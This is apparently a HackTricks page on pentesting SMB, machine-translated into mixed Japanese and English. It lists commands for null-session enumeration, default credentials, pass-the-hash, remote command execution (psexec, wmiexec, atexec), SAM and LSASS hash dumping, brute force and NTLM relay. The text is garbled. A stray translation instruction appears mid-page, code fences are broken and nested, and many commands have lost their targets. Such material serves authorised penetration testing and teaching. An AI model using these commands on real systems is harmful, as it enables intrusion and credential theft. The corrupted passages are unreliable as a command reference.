# 139,445 - SMBのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
## **ポート139**
**NetBIOS**は、_Network Basic Input Output System_の略です。これは、ローカルエリアネットワーク(LAN)上のアプリケーション、PC、およびデスクトップがネットワークハードウェアと通信し、データをネットワーク上で送信するためのソフトウェアプロトコルです。NetBIOSネットワーク上で実行されるソフトウェアアプリケーションは、NetBIOS名によって相互に検出および識別されます。NetBIOS名は最大16文字であり、通常はコンピュータ名とは別になっています。2つのアプリケーションは、1つ(クライアント)が「呼び出し」コマンドを別のクライアント(サーバー)に送信すると、**TCPポート139**を介してNetBIOSセッションを開始します。([ここから抜粋](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## ポート445
ポート139は技術的には「NBT over IP」として知られていますが、ポート445は「SMB over IP」として知られています。**SMB**は「**Server Message Blocks**」の略です。現代の言語では、Server Message Blockは一般的なインターネットファイルシステムとしても知られています。このシステムは、ネットワーク上のノード間でファイル、プリンタ、シリアルポートなどの共有アクセスを提供するために主に使用されるアプリケーションレイヤーネットワークプロトコルとして機能します。
たとえば、Windowsでは、SMBはNetBIOS over TCP/IPを必要とせずに直接TCP/IP上で実行することができます。これは、指摘されているようにポート445を使用します。他のシステムでは、ポート139を使用してサービスやアプリケーションが実行されていることがあります。これは、SMBがNetBIOS over TCP/IPで実行されていることを意味します([ここ](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)から抜粋)
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Server Message Block(`SMB`)は、**ファイルへのアクセス**やディレクトリ全体、プリンタ、ルーター、またはネットワークに公開されたインターフェースなど、他のネットワークリソースへのアクセスを制御する**クライアントサーバープロトコル**です。このプロトコルの主な適用範囲は、特にWindowsオペレーティングシステムシリーズであり、そのネットワークサービスはSMBを下位互換の方法でサポートしています。つまり、新しいエディションを搭載したデバイスは、古いMicrosoftオペレーティングシステムがインストールされたデバイスと簡単に通信できます。\
また、フリーソフトウェアプロジェクトである**Samba**を使用することで、**Linux**およびUnixディストリビューションでSMBを使用し、SMBを介したクロスプラットフォームの通信が可能になります。
SMBサーバーは、**ローカルファイルシステムの任意の部分を共有**することができます。したがって、クライアントに表示される**階層**は、**サーバー**上の**構造**と部分的に**独立**しています。**アクセス権**は、`Access Control Lists`(`ACL`)によって定義されます。これらは、個々のユーザーまたはユーザーグループに対して**`実行`**、**`読み取り`**、**`完全アクセス`**などの属性に基づいて、**細かく制御**することができます。**ACL**は**共有に基づいて**定義されるため、サーバー上でローカルに割り当てられた権限とは異なります。
### IPC$ 共有
書籍「_**Network Security Assessment 3rd edition**_」より
匿名のヌルセッションを使用すると、IPC$共有にアクセスし、名前付きパイプを介して公開されたサービスと対話することができます。特にKali Linux内のenum4linuxユーティリティは非常に便利です。これを使用すると、次の情報を取得できます。
* オペレーティングシステムの情報
* 親ドメインの詳細
* ローカルユーザーとグループのリスト
* 利用可能なSMB共有の詳細
* 有効なシステムセキュリティポリシー
## NTLMとは
NTLMが何かわからない場合、またはNTLMの動作方法や悪用方法について知りたい場合は、次のページが非常に興味深いでしょう。**NTLM**について説明されており、**このプロトコルの動作方法と利用方法**が説明されています。
{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm](../windows-hardening/ntlm/)
{% endcontent-ref %}
## **サーバー列挙**
### ホストを検索するためにネットワークを**スキャン**する:
```bash
nbtscan -r 192.168.0.1/24
```
### SMBサーバーバージョン
SMBバージョンの潜在的な脆弱性を探すためには、使用されているバージョンを知ることが重要です。この情報が他の使用されているツールに表示されない場合は、次の方法を使用できます。
* **MSF**の補助モジュール「_auxiliary/scanner/smb/smb_version」を使用する
* または、次のスクリプトを使用する:
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **エクスプロイトの検索**
エクスプロイトの検索は、SMB(Server Message Block)サービスの脆弱性を見つけるために使用される重要な手法です。エクスプロイトは、既知の脆弱性を悪用してシステムに侵入するためのコードやスクリプトです。エクスプロイトを使用することで、攻撃者はSMBサービスに対して攻撃を行い、システムにアクセスすることができます。
エクスプロイトを検索するためには、以下の手順を実行します。
1. エクスプロイトデータベースを検索します。エクスプロイトデータベースには、既知の脆弱性に関連するエクスプロイトが格納されています。一般的なエクスプロイトデータベースには、Metasploit FrameworkやExploit-DBなどがあります。
2. SMBサービスのバージョンを特定します。SMBサービスのバージョンは、エクスプロイトの適用可能性を判断するために重要です。バージョン情報は、ネットワークスキャンやポートスキャンなどの手法を使用して取得することができます。
3. 適切なエクスプロイトを選択します。エクスプロイトデータベースから、SMBサービスのバージョンに対応するエクスプロイトを選択します。選択したエクスプロイトは、攻撃者がSMBサービスに対して使用するコードやスクリプトです。
4. エクスプロイトを実行します。選択したエクスプロイトを使用して、SMBサービスに対して攻撃を行います。エクスプロイトの実行には、Metasploit Frameworkや自作のスクリプトなどのツールを使用することができます。
エクスプロイトの検索は、SMBサービスの脆弱性を利用してシステムに侵入するための重要な手法です。しかし、合法的な目的でのみ使用することが重要です。
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **可能性のある**資格情報
| **ユーザー名** | **一般的なパスワード** |
| -------------------- | ----------------------------------------- |
| _(空白)_ | _(空白)_ |
| guest | _(空白)_ |
| Administrator, admin | _(空白)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### SMB環境情報
### 情報の取得
```bash
#Dump interesting information
enum4linux -a [-u "" -p ""]
enum4linux-ng -A [-u "" -p ""]
nmap --script "safe or smb-enum-*" -p 445
#Connect to the rpc
rpcclient -U "" -N #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]
```
### ユーザー、グループ、およびログイン中のユーザーの列挙
# この情報は既にenum4linuxとenum4linux-ngから収集されているはずです
```bash
crackmapexec smb 10.10.10.10 --users [-u -p ]
crackmapexec smb 10.10.10.10 --groups [-u -p ]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u -p ]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### ローカルユーザーの列挙
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
以下は、ハッキング技術に関する本の内容です。次の内容は、ファイルnetwork-services-pentesting/pentesting-smb.mdからのものです。関連する英文を日本語に翻訳し、翻訳を保持したまま、同じマークダウンおよびHTMLの構文を返してください。コード、ハッキング技術の名前、ハッキング用語、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、pentesting、およびマークダウンタグなどを翻訳しないでください。また、翻訳とマークダウン構文以外の追加の内容は追加しないでください。
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - ローカルユーザーの列挙
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts ホスト名.local
run
```
```
### **Enumerating LSARPC and SAMR rpcclient**
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
{% endcontent-ref %}
### GUI connection from linux
#### In the terminal:
`xdg-open smb://cascade.htb/`
#### In file browser window (nautilus, thunar, etc)
`smb://friendzone.htb/general/`
## Shared Folders Enumeration
### List shared folders
It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**.
```bash
```markdown
## smbclientコマンド
```bash
smbclient --no-pass -L // # ヌルユーザー
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // # パスワードを省略するとプロンプトが表示されます。--pw-nt-hashを使用すると、提供されたパスワードはNTハッシュです。
```
## smbmapコマンド
```bash
smbmap -H [-P ] # ヌルユーザー
smbmap -u "username" -p "password" -H [-P ] # 資格情報
smbmap -u "username" -p ":" -H [-P ] # パス・ザ・ハッシュ
smbmap -R -u "username" -p "password" -H [-P ] # 再帰的なリスト
```
## crackmapexecコマンド
```bash
crackmapexec smb -u '' -p '' --shares # ヌルユーザー
crackmapexec smb -u 'username' -p 'password' --shares # ゲストユーザー
crackmapexec smb -u 'username' -H '' --shares # ゲストユーザー
```
```
```
### **Connect/List a shared folder**
```bash
# smbclientを使用して接続する
smbclient --no-pass ///
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #パスワードを省略すると、プロンプトが表示されます。--pw-nt-hashを使用すると、提供されたパスワードはNTハッシュです
# --no-pass -c 'recurse;ls' を使用してsmbclientで再帰的にリストを表示する
# smbmapを使用してリストを表示する。フォルダを指定しない場合、すべてをリストします
smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # 再帰的なリスト
smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # 非再帰的なリスト
smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] # パス・ザ・ハッシュ
```
### **Manually enumerate windows shares and connect to them**
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
Common share names for windows targets are
* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON
(Common share names from _**Network Security Assessment 3rd edition**_)
You can try to connect to them by using the following command
```bash
```markdown
## smbclientコマンドを使用してWindows共有に接続する
以下のコマンドは、Windows共有に接続するためのsmbclientコマンドです。
### Nullセッションを使用して接続する
```bash
smbclient -U '%' -N \\\\\\
```
このコマンドは、nullセッションを使用してWindows共有に接続します。
### 認証済みセッションを使用して接続する
```bash
smbclient -U '' \\\\\\
```
このコマンドは、認証済みセッションを使用してWindows共有に接続します(パスワードの入力が求められます)。
```
```
or this script (using a null session)
```bash
#/bin/bash
ip=''
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] $share に対してヌルセッションの作成が可能です" # コマンドが実行された場合は出力がないため、セッションが作成されたと仮定します
else
echo $output # エラーメッセージを表示します(例:NT_STATUS_ACCESS_DENIEDまたはNT_STATUS_BAD_NETWORK_NAME)
fi
done
```
examples
```bash
```markdown
## SMB (Server Message Block) ペンテスト
### smbclientコマンド
以下のコマンドを使用して、SMBサーバーへの接続をテストできます。
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # NT_STATUS_BAD_NETWORK_NAMEが返されます
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # NT_STATUS_ACCESS_DENIEDが返されるか、セッションが与えられることがあります
```
```
```
### Mount a shared folder
```bash
```markdown
以下は、SMB(Server Message Block)のペンテストに関する内容です。
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
上記のコマンドは、SMB共有をマウントするためのものです。`x.x.x.x`はSMBサーバーのIPアドレスを表しており、`share`は共有名です。`/mnt/share`はマウントポイントのパスです。
1つ目のコマンドは、デフォルトのユーザー名とパスワードを使用してSMB共有をマウントします。
2つ目のコマンドは、`username`と`password`オプションを使用して特定のユーザー名とパスワードを指定してSMB共有をマウントします。
これらのコマンドを使用することで、SMB共有をローカルマシンにマウントし、ファイルやディレクトリにアクセスすることができます。
```
```
### **Download files**
Read previous sections to learn how to connect with credentials/Pass-the-Hash.
```bash
# ファイルの検索とダウンロード
sudo smbmap -R フォルダー -H -A <ファイル名> -q # 再帰モードでファイルを検索し、/usr/share/smbmap内にダウンロードします
```
```bash
# すべてをダウンロードする
smbclient ///<共有名>
> mask ""
> recurse
> prompt
> mget *
# すべてを現在のディレクトリにダウンロードする
```
Commands:
* mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
* recurse: toggles recursion on (default: off)
* prompt: toggles prompting for filenames off (default: on)
* mget: copies all files matching the mask from host to client machine
(_Information from the manpage of smbclient_)
### Domain Shared Folders Search
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
```bash
```shell
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
このコマンドは、Snafflerというツールを使用して、`domain.local`というドメインに対してSMB(Server Message Block)のペンテストを実行します。`-s`オプションは、SMBサービスをスキャンすることを指定しています。`-d`オプションは、対象となるドメインを指定します。`-o`オプションは、結果を`snaffler.log`というファイルに保存することを指定します。`-v`オプションは、詳細な情報を表示することを指定します。
```
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
* `-M spider_plus [--share ]`
* `--pattern txt`
```bash
```shell
sudo crackmapexec smb 10.10.10.10 -u ユーザー名 -p パスワード -M spider_plus --share '部門の共有'
```
```
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
{% hint style="info" %}
The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
{% endhint %}
## Read Registry
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
```bash
```markdown
以下のコマンドは、SMB(Server Message Block)プロトコルを使用して、指定されたドメインとマシンに対してレジストリのクエリを実行します。
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
このコマンドは、`reg.py`というツールを使用しています。`domain.local`は指定されたドメインを表し、`USERNAME`はユーザー名、`MACHINE.htb`はマシン名です。`-hashes`オプションは、ユーザーのパスワードハッシュを指定します。`1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6`はハッシュ値です。
`-keyName`オプションは、クエリを実行するレジストリキーの名前を指定します。`HKU`はHKEY_USERS、`HKCU`はHKEY_CURRENT_USER、`HKLM`はHKEY_LOCAL_MACHINEを表します。
`-s`オプションは、クエリ結果を表示するために使用されます。
これらのコマンドを実行することで、指定されたドメインとマシンのレジストリ情報を取得することができます。
```
```
## Post Exploitation
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
| **Setting** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Allow listing available shares in the current share? |
| `read only = no` | Forbid the creation and modification of files? |
| `writable = yes` | Allow users to create and modify files? |
| `guest ok = yes` | Allow connecting to the service without using a password? |
| `enable privileges = yes` | Honor privileges assigned to specific SID? |
| `create mask = 0777` | What permissions must be assigned to the newly created files? |
| `directory mask = 0777` | What permissions must be assigned to the newly created directories? |
| `logon script = script.sh` | What script needs to be executed on the user's login? |
| `magic script = script.sh` | Which script should be executed when the script gets closed? |
| `magic output = script.out` | Where the output of the magic script needs to be stored? |
The command `smbstatus` gives information about the **server** and about **who is connected**.
## Authenticate using Kerberos
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
```bash
## SMB (Server Message Block)のペンテスト
### smbclientコマンド
```shell
smbclient --kerberos //ws01win10.domain.com/C$
```
このコマンドは、Kerberos認証を使用して`ws01win10.domain.com`の`C$`共有に接続するためのものです。
### rpcclientコマンド
```shell
rpcclient -k ws01win10.domain.com
```
このコマンドは、Kerberos認証を使用して`ws01win10.domain.com`に接続するためのものです。
```
## **Execute Commands**
### **crackmapexec**
crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:
```bash
```markdown
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #PowerShellを実行
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #cmdを実行
crackmapexec smb 192.168.10.11 -u Administrator -H -x whoami #Pass-the-Hash
# --exec-method {mmcexec,smbexec,atexec,wmiexec}を使用
crackmapexec smb -d -u Administrator -p 'password' --sam #SAMをダンプ
crackmapexec smb -d -u Administrator -p 'password' --lsa #メモリ内のLSASSハッシュをダンプ
crackmapexec smb -d -u Administrator -p 'password' --sessions #セッションを取得
crackmapexec smb -d -u Administrator -p 'password' --loggedon-users #ログイン中のユーザーを取得
crackmapexec smb -d -u Administrator -p 'password' --disks #ディスクを列挙
crackmapexec smb -d -u Administrator -p 'password' --users #ユーザーを列挙
crackmapexec smb -d -u Administrator -p 'password' --groups #グループを列挙
crackmapexec smb -d -u Administrator -p 'password' --local-groups #ローカルグループを列挙
crackmapexec smb -d -u Administrator -p 'password' --pass-pol #パスワードポリシーを取得
crackmapexec smb -d -u Administrator -p 'password' --rid-brute #RIDブルート
crackmapexec smb -d -u Administrator -H #Pass-The-Hash
```
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
# パスワードが提供されていない場合、プロンプトが表示されます
./psexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス>
./psexec.py -hashes administrator@10.10.10.103 #パスワードハッシュを使用
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t #パスワードハッシュを使用
```
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
#パスワードが提供されていない場合、プロンプトが表示されます
./wmiexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス> #パスワードの入力を求める
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #パス・ザ・ハッシュ
#コマンドの末尾に実行するCMDコマンドを追加することができます。追加しない場合、半対話型シェルが表示されます
```
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
```bash
#パスワードが提供されていない場合、プロンプトが表示されます
./dcomexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス>
./dcomexec.py -hashes administrator@10.10.10.103 #パスワードを渡す
#コマンドの末尾に実行するCMDコマンドを追加することもできます。追加しない場合、半対話型のシェルが表示されます
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
```plaintext
./atexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス> "コマンド"
./atexec.py -hashes administrator@10.10.10.175 "whoami"
```
```
## Impacket reference
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce users credentials**
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
```bash
```markdown
## SMB Brute Force
To perform a brute force attack on the SMB service, you can use the `nmap` tool with the `smb-brute` script. The command is as follows:
```bash
nmap --script smb-brute -p 445
```
This command will attempt to brute force the SMB service on port 445 of the specified IP address.
Another method to obtain usernames for brute forcing is by using the `ridenum.py` script. The command is as follows:
```bash
ridenum.py 500 50000 /root/passwds.txt
```
This command will attempt to retrieve usernames by brute forcing the RIDs and then proceed to brute force each username.
```
```
## SMB relay attack
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
[**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
This happens with the functions:
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
Which are used by some browsers and tools (like Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
### SMBTrap using MitMf
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
## NTLM Theft
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](pentesting-smb.md#smb-relay-attack).
[See: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
## HackTricks Automatic Commands
```
Protocol_Name: SMB #プロトコルの略称がある場合は記載する。
Port_Number: 137,138,139 #複数ある場合はカンマで区切る。
Protocol_Description: Server Message Block #プロトコルの略称を全て書く
Entry_1:
Name: ノート
Description: SMBのノート
Note: |
ポート139は技術的には「NBT over IP」として知られていますが、ポート445は「SMB over IP」として知られています。SMBは「Server Message Blocks」の略です。現代の言語では、Server Message BlockはCommon Internet File Systemとしても知られています。このシステムは、ネットワーク上のノード間でファイル、プリンタ、シリアルポートなどの共有アクセスを提供するために主に使用されるアプリケーション層のネットワークプロトコルです。
#以下は、開いているSMBポートを見つけた場合に毎回実行するコマンドです。
認証情報なしで
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
認証情報ありで
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: 一般的なSMBスキャン
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMBスキャン1
Description: Nmapを使用したSMB脆弱性スキャン
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap SMBスキャン2
Description: Nmapを使用したSMB脆弱性スキャン(より一般的)
Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}
Entry_5:
Name: Hydraブルートフォース
Description: ユーザーが必要です
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445コンソールレスMFS列挙
Description: msfconsoleを実行する必要がないSMB/SMB2 139/445列挙
Note: https://github.com/carlospolop/legionから提供されたもの
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.